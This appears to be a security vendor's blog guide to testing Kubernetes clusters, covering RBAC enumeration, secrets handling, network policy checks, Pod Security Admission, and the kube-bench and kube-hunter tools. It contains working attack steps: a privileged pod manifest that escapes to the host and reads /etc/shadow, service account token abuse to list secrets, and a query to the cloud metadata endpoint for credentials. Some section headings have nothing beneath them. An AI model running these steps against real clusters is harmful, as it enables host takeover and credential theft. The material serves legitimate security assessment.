Kubernetes Security Testing: RBAC, Secrets, and Network Policy Misconfigurations

Kubernetes clusters are complex systems with many moving parts, and complexity is the enemy of security. RBAC rules accumulate over time and are rarely audited. Secrets end up in the wrong places. Network policies that look correct on paper have gaps that allow lateral movement. The Kubernetes security model is powerful, but only when it is correctly configured.

This guide covers the cluster security assessment methodology: enumerating RBAC permissions, testing secrets management, validating network policy enforcement, exploiting service account misconfigurations, and the attack paths that lead from a compromised pod to cluster admin.

RBAC Enumeration and Privilege Escalation

Role-Based Access Control is the authorization layer for the Kubernetes API. Misconfigured RBAC is the most common path from a compromised workload to cluster compromise.

Enumerate what you can do

# List all permissions available to current user/service account
kubectl auth can-i --list

# Check specific permissions
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i escalate clusterroles

# Enumerate roles and bindings (requires get access)
kubectl get clusterrolebindings -o json | jq '.items[] | {name: .metadata.name, subjects: .subjects, role: .roleRef.name}'
kubectl get rolebindings -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, subjects: .subjects}'

kubectl-who-can inverts the query: given a verb and resource, who has permission?

kubectl-who-can get secrets -A
kubectl-who-can create clusterrolebindings

High-risk RBAC permissions

Permission Risk Escalation path
* on * (cluster-admin) Critical Full cluster control
create pods Critical Spawn privileged pod, escape to host
get/list secrets High Read service account tokens, API keys
patch/update pods/exec High Exec into running privileged containers
create/update rolebindings Critical Grant yourself higher permissions
impersonate users/serviceaccounts Critical Act as any principal in the cluster
get nodes (kubelet API) Medium Enumerate node details for targeting

Pod creation as privilege escalation

If a service account can create pods, it can create a privileged pod with the host's root filesystem mounted — a complete host escape:

apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh", "-c", "chroot /host /bin/bash -c 'id && cat /etc/shadow'"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
kubectl apply -f priv-escape.yaml
kubectl logs priv-escape

Secrets Management Assessment

Kubernetes Secrets are base64-encoded, not encrypted, by default. Without encryption at rest configured, anyone with etcd read access can retrieve all secrets in plaintext.

Enumerate accessible secrets

# List secrets (requires get secrets permission)
kubectl get secrets -A

# Read a specific secret
kubectl get secret my-secret -o jsonpath='{.data}' | jq 'to_entries[] | {key: .key, value: (.value | @base64d)}'

# Check if encryption at rest is enabled
kubectl get pod -n kube-system -l component=kube-apiserver -o yaml | grep encryption-provider-config

Service account token abuse

Every pod has a service account token mounted by default. From inside a compromised pod, this token is used to authenticate to the Kubernetes API:

# Inside a compromised pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Query the API server
curl -s --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets

If the pod's service account has over-broad permissions (common when developers use default service accounts and grant them wide permissions), this token provides significant cluster access.

Common secrets management failures

Network Policy Testing

By default, Kubernetes has no network isolation between pods. Any pod can reach any other pod on any port across all namespaces. NetworkPolicies restrict this, but only if the CNI plugin enforces them and the policies are correctly written.

Verify CNI enforcement

# Check CNI plugin
kubectl get pods -n kube-system | grep -E "calico|cilium|weave|flannel"

# Flannel does NOT enforce NetworkPolicy — if flannel is the CNI, policies are advisory only
# Calico, Cilium, and Weave Net do enforce NetworkPolicy

Test policy enforcement from inside a pod

# Spawn a debug pod in a namespace
kubectl run test-pod --image=alpine --rm -it -- sh

# From inside: attempt connections to other pods and services
# This should be blocked if NetworkPolicy is correctly applied
wget -qO- --timeout=3 http://other-service.other-namespace.svc.cluster.local
curl -s --connect-timeout 3 http://10.0.1.50:5432  # PostgreSQL in another namespace

Common network policy gaps

# Test IMDS access from a pod (cloud environments)
curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/
# If this returns data, the pod can access cloud credentials via the metadata service

Pod Security Standards

Pod Security Admission (PSA) replaced PodSecurityPolicies in Kubernetes 1.25. It enforces three security profiles at the namespace level:

Profile What it prevents
Privileged Nothing — no restrictions
Baseline Privileged containers, host namespaces, most dangerous capabilities
Restricted Everything in Baseline + requires non-root, drops all capabilities, enforces seccomp
# Check namespace security labels
kubectl get namespaces -o json | jq '.items[] | {name: .metadata.name, labels: .metadata.labels}' | grep -A3 "pod-security"

# Try to create a privileged pod in a restricted namespace
kubectl apply -f privileged-pod.yaml -n restricted-namespace
# Should be rejected: "violates PodSecurity "restricted:latest""

Cluster-Level Assessment with Kube-bench and Kube-hunter

kube-bench

kube-bench runs CIS Kubernetes Benchmark checks against cluster configuration:

kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench

Key sections: API server configuration (anonymous auth disabled, audit logging enabled), etcd encryption at rest, kubelet authentication, and controller manager security settings.

kube-hunter

kube-hunter performs active security testing against a cluster from a network perspective — enumerating exposed services, testing anonymous API access, checking for open dashboards:

# Run from outside the cluster (network perspective)
kube-hunter --remote https://api.cluster.example.com:6443

# Run from inside a pod (pod perspective — simulates compromised workload)
kubectl run hunter --image=aquasec/kube-hunter --rm -it -- --pod

Common Kubernetes Security Findings

Running applications on Kubernetes? Ironimo tests the web-facing attack surface of your applications — the APIs, authentication endpoints, and user-facing interfaces that sit above the cluster layer — using professional pentesting tooling on demand.

Start free scan
← Back to blog